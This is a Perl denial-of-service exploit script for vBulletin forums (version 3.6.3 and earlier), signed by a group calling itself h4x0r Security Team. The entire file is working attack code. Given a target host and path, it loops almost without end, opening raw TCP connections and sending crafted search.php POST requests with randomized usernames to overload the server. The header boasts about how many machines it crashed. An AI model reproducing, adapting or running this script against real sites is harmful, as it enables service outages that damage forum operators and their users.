vbull-dos.txt

`# VBulletin DoS Exploit by www.h4x0r.ir  
#   
# The exploit was tested on 15 machines And 13 of them got Crashed. 98% Works ;)   
#   
# important => Image Verification in (search.php) is NOT Enabled.  
  
# It works on 3.6.3 and prior [all] !  
#  
#Perl Script  
use Socket;  
if (@ARGV < 2) { &usage; }  
$rand=rand(10);  
$host = $ARGV[0];  
$dir = $ARGV[1];  
$host =~ s/(http:\/\/)//eg;  
for ($i=0; $i<9999999999999999999999999999999999999999999999999999999999999999999999; $i++)  
{  
$user="h4x0r".$rand.$i;  
$data = "s=&do=process&query=$user&titleonly=0&starteronly=0&exactname=1&replyless=0&replylimit=3&searchdate=1&beforeafter=before&sortby=title&order=descending&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";  
$len = length $data;  
$foo = "POST ".$dir."search.php HTTP/1.1\r\n".  
"Accept: */*\r\n".  
"Accept-Language: en-gb\r\n".  
"Content-Type: application/x-www-form-urlencoded\r\n".  
"Accept-Encoding: gzip, deflate\r\n".  
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".  
"Host: $host\r\n".  
"Content-Length: $len\r\n".  
"Connection: Keep-Alive\r\n".  
"Cache-Control: no-cache\r\n\r\n".  
"$data";  
my $port = "80";  
my $proto = getprotobyname('tcp');  
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);  
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;  
send(SOCKET,"$foo", 0);  
syswrite STDOUT, "|" ;  
  
}  
print "\n\n";  
system('ping $host');  
sub usage {  
print "\tusage: \n";  
print "\t$0 <host> </dir/>\n";  
print "\tex: $0 127.0.0.1 /forum/\n";  
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";  
print "\th4x0r Security Team\n";  
print "\twww.h4x0r.ir\n\n";  
  
  
  
  
exit();  
};  
  
# Exploit By www.h4x0r.ir  
`